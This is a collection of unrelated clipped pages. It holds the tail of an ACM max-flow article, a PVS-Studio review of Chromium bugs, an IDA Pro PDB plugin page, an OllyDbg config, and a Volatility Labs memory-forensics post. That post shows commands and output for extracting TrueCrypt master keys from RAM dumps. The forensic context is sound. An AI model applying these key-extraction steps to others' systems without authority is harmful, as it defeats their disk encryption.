20\. Goldberg, A.V., Hed, S., Kaplan, H., Tarjan, R.E., and Werneck, R.F.
Maximum flows by incremental breadth-first search. In _Proceedings of the 19th
European Symposium on Algorithms_. Springer-Verlag, Heidelberg, Germany, 2011,
457–468.

21\. Karger, D.R. and Levine, M. Finding maximum flows in undirected graphs
seems easier than bipartite matching. In _Proceedings of the 30th Annual ACM
Symposium on Theory of Computing_. ACM Press, New York, 1997.

22\. Karzanov, A.V. Tochnaya otzenka algoritma nakhojdeniya maksimalnogo
potoka, primenennogo k aadache 'o predstavitelyakh' \[The exact time bound for
a maximum flow algorithm applied to the set representatives problem\]. In
_Problems in Cibernetics 5_ \(1973\), 66–70.

23\. Karzanov, A.V. Determining the maximal flow in a network by the method of
preflows. _Soviet Mathematical Dokladi 15_ \(1974\), 434–437.

24\. Kelner, A., Lee, Y.T., Orecchia, L., and Sidford, A. An almost-linear-
time algorithm for approximate max flow in undirected graphs, and its
multicommodity generalizations. In _Proceedings of the ACM-SIAM Symposium on
Discrete Algorithms_. SIAM, Philadelphia, 2014, 217–226.

25\. Lee, T., Rao, S., and Srivastava, N. A new approach to computing maximum
flows using electrical flows. In _Proceedings of the Annual ACM Symposium on
Theory of Computing_. ACM Press, New York, 2013, 755–764.

26\. Madry, A. Navigating central path with electrical flows: From flows to
matchings, and back. In _Proceedings of the Annual IEEE Symposium on
Foundations of Computer Science_. IEEE Press, New York, 2013, 253–262.

27\. Orlin, J.B. Max Flows in _O_\(_nm_\) time, or better. In _Proceedings of
the Annual ACM Symposium on Theory of Computing_. ACM Press, New York,
765–774.

28\. Sherman, J. Nearly maximum flows in nearly linear time. In _Proceedings
of the Annual IEEE Symposium on Foundations of Computer Science_. IEEE Press,
New York, 2013, 263–269.

29\. Sleator, D.D. and Tarjan, R.E. A data structure for dynamic trees.
_Journal of Computer and System Sciences 26_ , 3 \(1983\), 362–391.

30\. Sleator, D.D. and Tarjan, R.E. Self-adjusting binary search trees.
_Journal of the ACM 32_ , 3 \(1985\), 652–686.

31\. Tarjan, R.E., Ward, J., Zhang, B., Zhou, Y., and Mao, J. Balancing
applied to maximum network flow problems. In _Proceedings of the 14th European
Symposium on Algorithms_. Springer-Verlag, Berlin, 2006, 612–623.

Back to Top

### Authors

**Andrew V. Goldberg** \(goldberg@microsoft.com\) is a principal researcher at
Microsoft Research Silicon Valley Lab, Mountain View, CA.

**Robert E. Tarjan** \(ret@cs.princeton.edu\) is the James S. McDonnell
Distinguished University Professor of Computer Science at Princeton
University, Princeton, NJ, and a visiting researcher at Microsoft Research
Silicon Valley Lab, Mountain View, CA.

Back to Top

### Footnotes

a. The push-relabel method is sometimes called the preflow-push method, which
is misleading, as Karzanov's algorithm uses preflows and the push operation
but does not use the relabel operation and is therefore not a push-relabel
algorithm.

b. Formally, this defines an _s-t_ cut, though, here, we deal only with _s-t_
cuts; in the literature, a minimum cut may also refer to the minimum cut value
over all _s, t_ pairs of minimum _s-t_ cuts.

Back to Top

### Figures

Figure 1. Input example.

Figure 2. Maximum flow \(capacity/flow\) and minimum cut.

Figure 3. Residual graph and residual capacities corresponding to Figure 2.

Figure 4. Example of a blocking flow that is not a maximum flow.

Figure 5. Push operation example: before \(left\) and after \(right\); zero
excesses and non-residual arcs not shown.

Figure 6. Relabel operation example: before \(left\) and after \(right\).

Back to top

* * *
**©2014 ACM 0001-0782/14/08**

Permission to make digital or hard copies of part or all of this work for
personal or classroom use is granted without fee provided that copies are not
made or distributed for profit or commercial advantage and that copies bear
this notice and full citation on the first page. Copyright for components of
this work owned by others than ACM must be honored. Abstracting with credit is
permitted. To copy otherwise, to republish, to post on servers, or to
redistribute to lists, requires prior specific permission and/or fee. Request
permission to publish from permissions@acm.org or fax \(212\) 869-0481.

The Digital Library is published by the Association for Computing Machinery.
Copyright © 2014 ACM, Inc.

* * *
No entries found

## Comment on this article

Signed comments submitted to this site are moderated and will appear if they
are relevant to the topic and not abusive. Your comment will appear with your
username if published. View our policy on comments

\(Please sign in or create an ACM Web Account to access this feature.\)

Create an Account

# PVS-Studio vs Chromium

**Created:**| _5/25/2011 2:59:41 PM_  
---|---  
**Updated:**| _5/25/2011 3:00:00 PM_  
**Author:**| __  
**Tags:**| _code-review opinion static_  
  

## Abstract

Good has won this time. To be more exact, source codes of the Chromium project
have won. Chromium is one of the best projects we have checked with PVS-
Studio.

<img src='img/Temp2_6083.png' alt='Picture 0' />

Chromium is an open-source web-browser developed by Google and intended to
provide users with fast and safe Internet access. Chromium serves as the base
for the Google Chrome browser. Moreover, Chromium is a preliminary version of
Google Chrome as well as some other alternative web-browsers.

From the programming viewpoint, Chromium is a solution consisting of 473
projects. The general size of the source C/C++ code is about 460 Mbytes and
the number of lines is difficult to count.

These 460 Mbytes include a lot of various libraries. If you exclude them, you
will have about 155 Mbytes. It is much less but still a lot of lines.
Moreover, everything is relative, you know. Many of these libraries were
created by the Chromium developers within the task of creating Chromium
itself. Although such libraries live by themselves, still we may refer them to
the browser.

Chromium had become the most quality and large project I have studied during
testing of PVS-Studio. While handling the Chromium project it was not actually
clear to us what was checking what: we have found and fixed several errors in
PVS-Studio related to C++ file analysis and support of a specific project's
structure.

Many aspects and methods used in Chromium show the quality of its source code.
For instance, most programmers determine the number of items in an array using
the following construct:

[code]

    int XX[] = { 1, 2, 3, 4 };
    size_t N = sizeof(XX) / sizeof(XX[0]);
    
[/code]

Usually it is arranged as a macro of this kind:

[code]

    #define count_of(arg) (sizeof(arg) / sizeof(arg[0]))
    
[/code]

This is a quite efficient and useful macro. To be honest, I have always used
this very macro myself. However, it might lead to an error because you may
accidentally pass a simple pointer to it and it will not mind. Let me explain
this by the following example:

[code]

    void Test(int C[3])
    {
      int A[3];
      int *B = Foo();
      size_t x = count_of(A); // Ok
      x = count_of(B); // Error
      x = count_of(C); // Error
    }
    
[/code]

The count\_of\(A\) construct works correctly and returns the number of items
in the A array which is equal to three here.

But if you apply by accident count\_of\(\) to a pointer, the result will be a
meaningless value. The issue is that the macro will not produce any warning
for the programmer about a strange construct of the count\_of\(B\) sort. This
situation seems farfetched and artificial but I had encountered it in various
applications. For example, consider this code from the Miranda IM project:

[code]

    #define SIZEOF(X) (sizeof(X)/sizeof(X[0]))
    int Cache_GetLineText(..., LPTSTR text, int text_size, ...)
    {
      ...
      tmi.printDateTime(pdnce->hTimeZone, _T("t"), text, SIZEOF(text), 0);
      ...
    }
    
[/code]

So, such errors may well exist in your code and you'd better have something to
protect yourself against them. It is even easier to make a mistake when trying
to calculate the size of an array passed as an argument:

[code]

    void Test(int C[3])
    {
      x = count_of(C); // Error
    }
    
[/code]

According to the C++ standard, the 'C' variable is a simple pointer, not an
array. As a result, you may often see in programs that only a part of the
array passed is processed.

Since we have started speaking of such errors, let me tell you about a method
that will help you find the size of the array passed. You should pass it by
the reference:

[code]

    void Test(int (&C)[3])
    {
      x = count_of(C); // Ok
    }
    
[/code]

Now the result of the count\_of\(C\) expression is value 3.

Let's return to Chromium. It uses a macro that allows you to avoid the above
described errors. This is how it is implemented:

[code]

    template <typename T, size_t N>
    char (&ArraySizeHelper(T (&array)[N]))[N];
    #define arraysize(array) (sizeof(ArraySizeHelper(array)))
    
[/code]

The idea of this magic spell is the following: the template function
ArraySizeHelper receives an array of a random type with the N length. The
function returns the reference to the array of the N length consisting of
'char' items. There is no implementation for this function because we do not
need it. For the sizeof\(\) operator it is quite enough just to define the
ArraySizeHelper function. The 'arraysize' macro calculates the size of the
array of bytes returned by the ArraySizeHelper function. This size is the
number of items in the array whose length we want to calculate.

If you have gone crazy because of all this, just take my word for it - it
works. And it works much better than the 'count\_of\(\)' macro we have
discussed above. Since the ArraySizeHelper function takes an array by the
reference, you cannot pass a simple pointer to it. Let's write a test code:

[code]

    template <typename T, size_t N>
    char (&ArraySizeHelper(T (&array)[N]))[N];
    #define arraysize(array) (sizeof(ArraySizeHelper(array)))
    
    void Test(int C[3])
    {
      int A[3];
      int *B = Foo();
      size_t x = arraysize(A); // Ok
      x = arraysize(B); // Compilation error
      x = arraysize(C); // Compilation error
    }
    
[/code]

The incorrect code simply will not be compiled. I think it's cool when you can
prevent a potential error already at the compilation stage. This is a nice
sample reflecting the quality of this programming approach. My respect goes to
Google developers.

Let me give you one more sample which is of a different sort yet it shows the
quality of the code as well.

[code]

    if (!file_util::Delete(db_name, false) &&
        !file_util::Delete(db_name, false)) {
      // Try to delete twice. If we can't, fail.
      LOG(ERROR) << "unable to delete old TopSites file";
      return false;
    }
    
[/code]

Many programmers might find this code strange. What is the sense in trying to
remove a file twice? There is a sense. The one who wrote it has reached
Enlightenment and comprehended the essence of software existence. A file can
be definitely removed or cannot be removed at all only in textbooks and in
some abstract world. In the real system it often happens that a file cannot be
removed right now and can be removed an instance later. There may be many
reasons for that: antivirus software, viruses, version control systems and
whatever. Programmers often do not think of such cases. They believe that when
you cannot remove a file you cannot remove it at all. But if you want to make
everything well and avoid littering in directories, you should take these
extraneous factors into account. I encountered quite the same situation when a
file would not get removed once in 1000 runs. The solution was also the same -
I only placed Sleep\(0\) in the middle just in case.

Well, and what about the check by PVS-Studio? Chromium's code is perhaps the
most quality code I've ever seen. This is confirmed by the low density of
errors we've managed to find. If you take their quantity in general, there are
certainly plenty of them. But if you divide the number of errors by the amount
of code, it turns out that there are almost no errors. What are these errors?
They are the most ordinary ones. Here are several samples:

[code]

    V512 A call of the 'memset' function will lead to underflow 
    of the buffer '(exploded)'. platform time_win.cc 116
    
[/code]

[code]

    void NaCl::Time::Explode(bool is_local, Exploded* exploded) const {
      ...
      ZeroMemory(exploded, sizeof(exploded));
      ...
    }
    
[/code]

Everybody makes misprints. In this case, an asterisk is missing. It must be
sizeof\(\*exploded\).

[code]

    V502  Perhaps the '?:' operator works in a different way than it 
    was expected. The '?:' operator has a lower priority than the '-'
    operator.  views  custom_frame_view.cc  400
    
[/code]

[code]

    static const int kClientEdgeThickness;
    int height() const;
    bool ShouldShowClientEdge() const;
    
    void CustomFrameView::PaintMaximizedFrameBorder(gfx::Canvas* canvas) {
      ...
      int edge_height = titlebar_bottom->height() -
                        ShouldShowClientEdge() ? kClientEdgeThickness : 0;
      ...
    }
    
[/code]

The insidious operator "?:" has a lower priority than subtraction. There must
be additional parentheses here:

[code]

    int edge_height = titlebar_bottom->height() -
                      (ShouldShowClientEdge() ? kClientEdgeThickness : 0);
    
[/code]

A meaningless check.

[code]

    V547  Expression 'count < 0' is always false. Unsigned type value 
    is never < 0.  ncdecode_tablegen  ncdecode_tablegen.c  197
    
[/code]

[code]

    static void CharAdvance(char** buffer, size_t* buffer_size, 
    size_t count) {
      if (count < 0) {
        NaClFatal("Unable to advance buffer by count!");
      } else {
      ...
    }
    
[/code]

The "count < 0" condition is always false. The protection does not work and
some buffer might get overflowed. By the way, this is an example of how static
analyzers might be used to search for vulnerabilities. An intruder can quickly
find code fragments that contain errors for further thorough investigation.
Here is another code sample related to the safety issue:

[code]

    V511  The sizeof() operator returns size of the pointer, 
    and not of the array, in 'sizeof (salt)' expression.  common
    visitedlink_common.cc  84
    
[/code]

[code]

    void MD5Update(MD5Context* context, const void* buf, size_t len);
    
    VisitedLinkCommon::Fingerprint VisitedLinkCommon::ComputeURLFingerprint(
      ...
     const uint8 salt[LINK_SALT_LENGTH])
    {
      ...
      MD5Update(&ctx, salt, sizeof(salt));
      ...
    }
    
[/code]

The MD5Update\(\) function will process as many bytes as the pointer occupies.
This is a potential loophole in the data encryption system, isn't it? I do not
know whether it implies any danger; however, from the viewpoint of intruders,
this is a fragment for thorough analysis.

The correct code should look this way:

[code]

    MD5Update(&ctx, salt, sizeof(salt[0]) * LINK_SALT_LENGTH);
    
[/code]

Or this way:

[code]

    VisitedLinkCommon::Fingerprint VisitedLinkCommon::ComputeURLFingerprint(
      ...
     const uint8 (&salt)[LINK_SALT_LENGTH])
    {
      ...
      MD5Update(&ctx, salt, sizeof(salt));
      ...
    }
    
[/code]

One more sample with a misprint:

[code]

    V501  There are identical sub-expressions 'host !=
    buzz::XmlConstants::str_empty ()' to the left and to the right 
    of the '&&' operator.  chromoting_jingle_glue  iq_request.cc  248
    
[/code]

[code]

    void JingleInfoRequest::OnResponse(const buzz::XmlElement* stanza) {
      ...
      std::string host = server->Attr(buzz::QN_JINGLE_INFO_HOST);
      std::string port_str = server->Attr(buzz::QN_JINGLE_INFO_UDP);
      if (host != buzz::STR_EMPTY && host != buzz::STR_EMPTY) {
      ...
    }
    
[/code]

The port\_str variable must be actually checked as well:

[code]

    if (host != buzz::STR_EMPTY && port_str != buzz::STR_EMPTY) {
    
[/code]

A bit of classics:

[code]

    V530  The return value of function 'empty' is required to be utilized.
      chrome_frame_npapi  np_proxy_service.cc  293
    
[/code]

[code]

    bool NpProxyService::GetProxyValueJSONString(std::string* output) {
      DCHECK(output);
      output->empty();
      ...
    }
    
[/code]

It must be: output->clear\(\);

And here is even the handling of a null pointer:

[code]

    V522  Dereferencing of the null pointer 'plugin_instance' might take
    place. Check the logical condition.  chrome_frame_npapi
     chrome_frame_npapi.cc  517
    
[/code]

[code]

    bool ChromeFrameNPAPI::Invoke(...)
    {
      ChromeFrameNPAPI* plugin_instance =
        ChromeFrameInstanceFromNPObject(header);
      if (!plugin_instance && (plugin_instance->automation_client_.get()))
        return false;
      ...  
    }
    
[/code]

One more example of a check that will never work:

[code]

    V547  Expression 'current_idle_time < 0' is always false. Unsigned
    type value is never < 0.  browser  idle_win.cc  23
    
[/code]

[code]

    IdleState CalculateIdleState(unsigned int idle_threshold) {
      ...
      DWORD current_idle_time = 0;
      ...
      // Will go -ve if we have been idle for a long time (2gb seconds).
      if (current_idle_time < 0)
        current_idle_time = INT_MAX;
      ...
    }
    
[/code]

Well, we should stop here. I can continue but it's starting to get boring.
Remember that all this only concerns the Chromium itself. But there are also
tests with errors like this:

[code]

    V554  Incorrect use of auto_ptr. The memory allocated with 'new []'
    will be cleaned using 'delete'.  interactive_ui_tests
     accessibility_win_browsertest.cc  306
    
[/code]

[code]

    void AccessibleChecker::CheckAccessibleChildren(IAccessible* parent) {
      ...
      auto_ptr<VARIANT> child_array(new VARIANT[child_count]);
      ...
    }
    
[/code]

There are also plenty of libraries Chromium is actually based on, the total
size of libraries being much larger than that of Chromium itself. They also
have a lot of interesting fragments. It is clear that code containing errors
might not be used anywhere, still they are the errors nonetheless. Consider
one of the examples \(the ICU library\):

[code]

    V547 Expression '* string != 0 || * string != '_'' is always true.
    Probably the '&&' operator should be used here.  icui18n ucol_sit.cpp
    242
    
[/code]

[code]

    U_CDECL_BEGIN static const char* U_CALLCONV
    _processVariableTop(...)
    {
      ...
      if(i == locElementCapacity && (*string != 0 || *string != '_')) {
        *status = U_BUFFER_OVERFLOW_ERROR;
      }
      ...
    }
    
[/code]

The "\(\*string \!= 0 || \*string \!= '\_'\)" expression is always true.
Perhaps it must be: \(\*string == 0 || \*string == '\_'\).

## Conclusion

PVS-Studio was defeated. Chromium's source code is one of the best we have
ever analyzed. We have found almost nothing in Chromium. To be more exact, we
have found a lot of errors and this article demonstrates only a few of them.
But if we keep in mind that all these errors are spread throughout the source
code with the size of 460 Mbytes, it turns out that there are almost no errors
at all.

P.S.

I'm answering to the question: will we inform the Chromium developers of the
errors we've found? No, we won't. It is a very large amount of work and we
cannot afford doing it for free. Checking Chromium is far from checking
Miranda IM or checking Ultimate Toolbox. This is a hard work, we have to study
all of the messages and make a decision whether there is an error in every
particular case. To do that, we must be knowledgeable about the project. We
will this article to the Chromium developers, and should they find it
interesting, they will be able to analyze the project themselves and study all
the diagnostic messages. Yes, they will have to purchase PVS-Studio for this
purpose. But any Google department can easily afford this.

# Determina PDB plugin for IDA Pro

**Created:**| _12/8/2010 6:49:30 PM_  
---|---  
**Updated:**| _12/8/2010 6:49:45 PM_  
**Author:**| __  
**Tags:**| _iDA reversing plugin awesome_  
  

## Determina PDB plugin for IDA Pro

This is a replacement for the IDA PDB plugin which significantly improves the
analysis of Microsoft binaries with public debugging symbols. The algorithm
used by the PDB plugin is described in the Reverse Engineering Microsoft
Binaries presentation at Recon 2006.

Version 1.0 was released on June 25, 2007. The distribution contains source
code under a BSD license and a binary for IDA 5.0 and 5.1.

### Downloads

  * detpdb-1.0.zip \(PGP .sig\)

### Compiling from source

To compile the plugin from source, you will need the following:

  * GNU make from Cygwin
  * Microsoft Visual C++ 2005
  * Debugging Tools for Windows 6.7.5.0
  * IDA Pro SDK 5.0 or 5.1

Edit the Makefile and set the IDASDK and DBGSDK variables. They need to point
to the directories containing the IDA SDK and the Debugging Tools for Windows
SDK. Make sure that the compiler is in your path and the INCLUDE and LIB
environment variables are set. Run make to compile the plugin.

### Installation

  1. Make a backup copy of `pdb.plw` and `pdb.p64` in your IDA plugins directory.
  2. Copy `plugin/plw/pdb.plw` and `plugin/p64/pdb.p64` to your IDA plugins directory, overwriting the existing files.
  3. Copy `detpdb.cfg` to the IDA cfg directory.
  4. Make sure that you have the latest versions of dbghelp.dll and symsrv.dll in your IDA directory. If they are older than 6.7.5.0, download the Debugging Tools for Windowsand replace the files in the IDA directory with the latest versions.

### Configuration

The Determina PDB plugin uses the same method for finding symbol files as the
WinDbg debugger. By default, the plugin will search the current working
directory, followed by the symbol search path specified in the
`_NT_SYMBOL_PATH` and `_NT_ALTERNATE_SYMBOL_PATH`environmental variables.

The search path can also be specified by setting the `DETPDB_SYMBOL_PATH`
option in the detpdb.cfg configuration file.

For more information about the format of the symbol path and the environmental
variables, see the documentation included in the Debugging Tools for Windows.

### Usage

When loading a new file linked with debugging information, IDA will invoke the
Determina PDB plugin. If the corresponding symbol file is found in the symbol
path, the plugin will display the list of all available symbols and their
addresses. Press OK to load these symbols into the IDA database, or Cancel to
skip the symbol loading.

Once the IDA autoanalysis is finished, check the messages window for any
errors or warnings. You will probably see messages similar to:

[code]

    Name 'const GCObj::`vftable'' at 5A323BC0 is deleted...
    
    
[/code]

These messages indicate that some names were deleted during the final analysis
pass. One solution is to disable the 'Make final analysis pass' options before
starting the analysis. A better alternative is to run the PDB plugin a second
time after the autoanalysis is finished, ensuring that the deleted names are
recreated.

# Volatility Labs: TrueCrypt Master Key Extraction And Volume Identification

**Created:**| _1/16/2014 3:26:19 PM_  
---|---  
**Updated:**| _1/16/2014 3:26:19 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

# **T** rueCrypt Master Key Extraction And Volume Identification****

One of the disclosed pitfalls of TrueCrypt disk encryption is that the master
keys must remain in RAM in order to provide fully transparent encryption**.**
In other words, if master keys were allowed to be flushed to disk, the design
would suffer in terms of security \(writing plain-text keys to more permanent
storage\) and performance**.** This is a risk that suspects have to live with,
and one that law enforcement and government investigators can capitalize
on**.**  
  
The default encryption scheme is AES in XTS mode**.** In XTS mode, primary and
secondary 256-bit keys are concatenated together to form one 512-bit \(64
bytes\) master key**.** An advantage you gain right off the bat is that
patterns in AES keys can be distinguished from other seemingly random blocks
of data**.** This is how tools like aeskeyfind  and bulk\_extractor  locate
the keys in memory dumps, packet captures, etc**.** In most cases, extracting
the keys from RAM is as easy as this:  
  
$ ****.** /aeskeyfind Win8SP0x86.raw**  
f12bffe602366806d453b3b290f89429  
e6f5e6511496b3db550cc4a00a4bdb1b  
4d81111573a789169fce790f4f13a7bd  
a2cde593dd1023d89851049b8474b9a0  
269493cfc103ee4ac7cb4dea937abb9b  
4d81111573a789169fce790f4f13a7bd  
4d81111573a789169fce790f4f13a7bd  
269493cfc103ee4ac7cb4dea937abb9b  
4d81111573a789169fce790f4f13a7bd  
0f2eb916e673c76b359a932ef2b81a4b  
**7a9df9a5589f1d85fb2dfc62471764ef47d00f35890f1884d87c3a10d9eb5bf4**  
**e786793c9da3574f63965803a909b8ef40b140b43be062850d5bb95d75273e41**  
Keyfind progress: 100%

Several keys were identified, but only the two final ones in red are 256-bits
\(the others are 128-bit keys\)**.** Thus, you can bet by combining the two
256-bit keys, you'll have your 512-bit master AES key**.** That's all pretty
straightforward and has been documented in quite a few places - one of my
favorites being Michael Weissbacher's blog **.**

The problem is - what if suspects change the default AES encryption
scheme**?** TrueCrypt also supports Twofish, Serpent, and combinations thereof
\(AES-Twofish, AES-Twofish-Serpent\)**.** Furthermore, it supports modes other
than XTS, such as LWR, CBC, outer CBC, and Inner CBC \(though many of the CBCs
are either deprecated or not recommended\)**.**  
  
What do you do if a suspect uses non-default encryption schemes or modes**?**
You can't find Twofish or Serpent keys with tools designed to scan for AES
keys -- that just doesn't work**.** As pointed out by one of our Twitter
followers \(@brnocrist\), a tool by Carsten Maartmann-Moe named Interrogate
could be of use here \(as could several commercial implementations from
Elcomsoft or Passware\)**.**

Another challenge that investigators face, in the case of file-based
containers, is figuring out which file on the suspect's hard disk serves as
the container**.** If you don't know that, then having the master keys is only
as useful as finding the key to a house but having no idea where the house
is**.**

To address these issues, I wrote several new Volatility plugins**.** The
truecryptsummary plugin gives you a detailed description of all TrueCrypt
related artifacts in a given memory dump**.** Here's how it appears on a test
system running 64-bit Windows 2012 **.**

$ **python vol.py -f WIN-QBTA4959AO9.raw --profile=Win2012SP0x64
truecryptsummary**

Volatility Foundation Volatility Framework 2**.** 3.1 \(T\)

Process TrueCrypt.exe at 0xfffffa801af43980 pid 2096

Kernel Module truecrypt.sys at 0xfffff88009200000 - 0xfffff88009241000

Symbolic Link Volume\{52b24c47-eb79-11e2-93eb-000c29e29398\} ->
\Device\TrueCryptVolumeZ mounted **2013-10-11 03:51:08** UTC+0000

Symbolic Link Volume\{52b24c50-eb79-11e2-93eb-000c29e29398\} ->
\Device\TrueCryptVolumeR mounted **2013-10-11 03:55:13** UTC+0000

File Object \Device\TrueCryptVolumeR\$Directory at 0x7c2f7070

File Object \Device\TrueCryptVolumeR\$LogFile at 0x7c39d750

File Object \Device\TrueCryptVolumeR\$MftMirr at 0x7c67cd40

File Object \Device\TrueCryptVolumeR\**$Mft** at 0x7cf05230

File Object \Device\TrueCryptVolumeR\$Directory at 0x7cf50330

File Object \Device\TrueCryptVolumeR\$BitMap at 0x7cfa7a00

File Object \Device\TrueCryptVolumeR\Chats\Logs\bertha.xml at 0x7cdf4a00

Driver \Driver\truecrypt at 0x7c9c0530 range 0xfffff88009200000 -
0xfffff88009241000

Device TrueCryptVolumeR at 0xfffffa801b4be080 type FILE\_DEVICE\_DISK

Container Path: **\Device\Harddisk1\Partition1**

Device TrueCrypt at 0xfffffa801ae3f500 type FILE\_DEVICE\_UNKNOWN

Among other things, you can see that the TrueCrypt volume was mounted on the
suspect system on October 11th 2013**.** Furthermore, the path to the
container is \Device\Harddisk1\Partition1, because in this case, the container
was an entire partition \(a USB thumb drive\)**.** If we were dealing with a
file-based container as previously mentioned, the output would show the full
path on disk to the file**.**  
  
Perhaps even more exciting than all that is the fact that, despite the
partition being fully encrypted, once its mounted, any files accessed on the
volume become cached by the Windows Cache Manager  per normal -- which means
the dumpfiles plugin can help you recover them in plain text**.** Yes, this
includes the $Mft, $MftMirr, $Directory, and other NTFS meta-data files, which
are decrypted immediately when mounting the volume**.** In fact, even if
values that lead us to the master keys are swapped to disk, or if TrueCrypt
\(or other disk encryption suites like PGP or BitLocker\) begin using
algorithms without predictable/detectable keys, you can still recover all or
part of any files accessed while the volume was mounted based on the fact that
the Windows OS itself will cache the file contents \(remember, the encryption
is transparent to the OS, so it caches files from encrypted volumes in the
same way as it always does\)**.**

After running a plugin such as truecryptsummary, you should have no doubts as
to whether TrueCrypt was installed and in use, and which files or partitions
are your targets**.** You can then run the truecryptmaster plugin which
performs nothing short of magic**.**

$ **python vol**.** py -f WIN-QBTA4.raw --profile=Win2012SP0x64
truecryptmaster -D **.****

Volatility Foundation Volatility Framework 2**.** 3.1 \(T\)

Container: \Device\Harddisk1\Partition1

Hidden Volume: No

Read Only: No

Disk Length: 7743733760 \(bytes\)

Host Length: 7743995904 \(bytes\)

Encryption Algorithm: **SERPENT**

Mode: **XTS**

Master Key

**0xfffffa8018eb71a8 bbe1dc7a8e87e9f1f7eef37e6bb30a25 ..**.** z.......~k..%**

**0xfffffa8018eb71b8 90b8948fefee425e5105054e3258b1a7 ......B^Q..N2X..**

**0xfffffa8018eb71c8 a76c5e96d67892335008a8c60d09fb69**.** l^..x.3P......i**

**0xfffffa8018eb71d8 efb0b5fc759d44ec8c057fbc94ec3cc9 ....u**.**
D.......<**.****

Dumped 64 bytes to ./0xfffffa8018eb71a8\_master.key

You now have a 512-byte Serpent master key, which you can use to decrypt the
roughly 8 GB USB drive**.** It tells you the encryption mode that the suspect
used, the full path to the file or container, and some additional properties
such as whether the volume is read-only or hidden**.** As you may suspect, the
plugin works regardless of the encryption algorithm, mode, key length, and
various other factors which may complicate the procedure of finding keys**.**
This is because it doesn't rely on the key or key schedule patterns -- it
finds them in the exact same way the TrueCrypt driver itself finds the keys in
RAM before it needs to encrypt or decrypt a block of data**.**

The truecryptsummary plugin supports all versions of TrueCrypt since 3**.** 1a
\(released 2005\) and truecryptmaster supports 6.3a \(2009\) and later**.** In
one of the more exciting hands-on labs in our memory forensics training class
, students experiment with these plugins and learn how to make suspects wish
there was no such thing as Volatility**.**

**UPDATE 1/15/2014** : In our opinion, what's described here is not a
vulnerability in TrueCrypt \(that was the reason we linked to their FAQ in the
first sentence\)**.** We don't intend to cause mass paranoia or discourage
readers from using the TrueCrypt software**.** Our best advice to people
seeking to keep data secure and private is to read the TrueCrypt documentation
carefully, so you're aware of the risks**.** As stated in the comments to this
post, powering your computer off is probably the best way to clear the master
keys from RAM**.** However, you don't always get that opportunity \(the FBI
doesn't call in advance before kicking in doors\) and there's also the
possibility of cold boot attacks  even if you do shut down**.**  
  
-Michael Ligh \(@iMHLv2 \)
****

# Ollydbg2 theme full - Pastebin.com

**Created:**| _7/18/2011 7:08:42 AM_  
---|---  
**Updated:**| _7/18/2011 7:11:49 AM_  
**Author:**| __  
**Tags:**| _Debugging olly_  
  
\[Settings\]

Check DLL versions=0

Topmost window=0

Show main menu items that don't apply=0

Show popup items that don't apply=0

Show toolbar=1

Use system colours in toolbar=0

Status in toolbar=0

Flash duration=1

Autoupdate interval=4

Mode of main window=0

Restore windows=1279

Restore window positions=1

Restore width of columns=0

Restore sorting criterium=1

Highlight sorted column=1

Right click selects=1

Index of default font=7

Index of default colours=6

Code highlighting=0

Horizontal scroll=0

Snow-free drawing=1

Append arguments=1

Allow diacritical symbols=0

Decode pascal strings=1

Use IsTextUnicode=0

String decoding=0

File graph mode=1

Dialog font mode=0

Font in dialogs=0

Align dialogs=1

Global search=1

Aligned search=0

Ignore case=0

Search direction=1

Floating search with margin=0

Allow extra commands in sequence=1

Allow jumps into the sequence=0

Keep size of hex edit selection=0

Sorting mode of error list=0

Modify FPU tag=0

MMX display mode=0

Show tooltips in dialog windows=1

X options coordinate=504

Y options coordinate=142

Last selected options pane=27

Last edited font in options=0

Last edited scheme in options=6

Last edited colour index in options=4

Last edited highlighting in options=6

Last edited highlighting index in options=10

Warnmode when not administrator=0

Warnmode for packed code in Analyzer=0

Warnmode when process is still running=6

Warnmode when INT3 breakpoint is corrupt=0

Warnmode when INT3 set on non-command=0

Warnmode when clipboard size too large=0

Warnmode when all threads are suspended=0

Warnmode when thread is changed=0

Warnmode when executable differs from udd=7

Warnmode when INT3 in udd has different cmd=0

Warnmode when fixups are modified=0

Warnmode when memory breakpoint on stack=0

Warnmode when modified debug registers=0

Only ASCII printable in dump=1

Underline fixups=1

Show jump direction=1

Show jump path=1

Show path if jump is not taken=1

Fill rest of command with NOPs=0

Action on letter key in Disassembler=2

Wide characters in UNICODE dumps=1

Automatically backup user code=0

IDEAL disassembling mode=0

Disassemble in lowercase=0

Separate arguments with TAB=0

Extra space between arguments=0

Show default segments=0

Always show memory size=1

NEAR jump modifiers=0

Use short form of string commands=0

Use RET instead of RETN=1

SSE size decoding mode=0

Jump hint decoding mode=0

Size sensitive mnemonics=1

Top of FPU stack=1

Show symbolic addresses=1

Show local module names=1

Demangle symbolic names=0

First pause=3

Pause on attach=1

Assume flat selectors=0

Ignore access violations in KERNEL32=1

Ignore INT3=0

Ignore TRAP=0

Ignore access violations=0

Ignore division by 0=0

Ignore illegal instructions=0

Ignore all FPU exceptions=0

Ignore custom exception ranges=1

Call UnhandledExceptionFilter=0

Report ignored exceptions to log=1

Autoreturn=0

Use DebugBreakProcess=0

Use ExitProcess=1

Warn when frequent breaks=1

Allow command emulation=0

Debug child processes=0

Animation delay index=0

Stop on new DLL=0

Stop on DLL unload=0

Stop on debug string=0

Stop on new thread=0

Stop on thread end=0

Run trace protocolling options=0

Run trace buffer size index=2

Trace over system DLLs=1

Trace over string commands=1

Save traced commands=0

Save accessed memory to trace=0

Save FPU registers to trace=0

Synchronize CPU and Run trace=1

Set breakpoints on callbacks in hit trace=0

Hit trace mode for indirect jumps=0

Stop hit trace if not command=0

Hit trace outside the code section=2

Show symbolic names in protocol range list=0

Use predictions in search=1

References include indirect jumps=1

Add origin to search results=0

Default resource language=9

Gray inactive windows=1

Gray register names=0

Center FOLLOWed command=1

Decode registers for any IP=0

Automatically select register type=0

Enable SSE registers=1

Label display mode=2

Highlight symbolic labels=0

Log buffer size index=2

Tabulate columns in log file=0

Append data to existing log file=0

Auto analysis=1

No predicted registers in system DLLs=0

Fuzzy analysis=1

Report problems during analysis=0

Decode tricks=1

Mark tricks=0

Decode ifs as switches=0

Functions preserve registers=1

Guess number of arguments=1

Guess arguments from mangled names=0

Guess meaning of guessed arguments=1

Show uncertain arguments=1

Rename value dependent arguments=0

Show predicted values=1

Show ARG and LOCAL in disassembly=1

Use symbolic names for ARG and LOCAL=0

Show ARG and LOCAL in comments=1

Show loops=1

Accept far calls and returns=0

Accept direct segment modifications=0

Accept privileged commands=0

Accept I/O commands=0

Accept NOPs=1

Accept shifts out of range=0

Accept superfluous prefixes=0

